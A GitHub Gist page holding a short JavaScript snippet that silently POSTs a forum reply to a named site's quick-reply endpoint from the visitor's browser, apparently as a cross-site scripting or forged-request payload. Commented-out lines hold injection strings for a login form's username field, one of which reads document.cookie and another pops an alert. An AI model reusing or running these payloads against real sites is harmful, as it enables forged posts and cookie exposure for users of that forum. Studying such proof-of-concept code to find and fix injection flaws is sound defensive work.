Created
January 3, 2014 07:27
-
-
Save x2c3z4/8234221 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var postUrl="http://buaabt.cn/tools/ajax.aspx?topicid=319105&postid=0&postreplynotice=true&t=quickreply"; | |
var httpRequest=new XMLHttpRequest(); | |
httpRequest.open('POST',postUrl, false); | |
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
//httpRequest.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); | |
//data ="username=\");console.log(document.cookie);//&email=&question=0&answer=&login="; | |
//data ="username=\");alert(1);//&email=&question=0&answer=&login="; | |
var text="ccc"; | |
data="title=&postlayer=-1&postid=0&usesig=1&postreplynotice=on&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&=&message=" + text + "&replysubmit="; | |
httpRequest.send(data); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment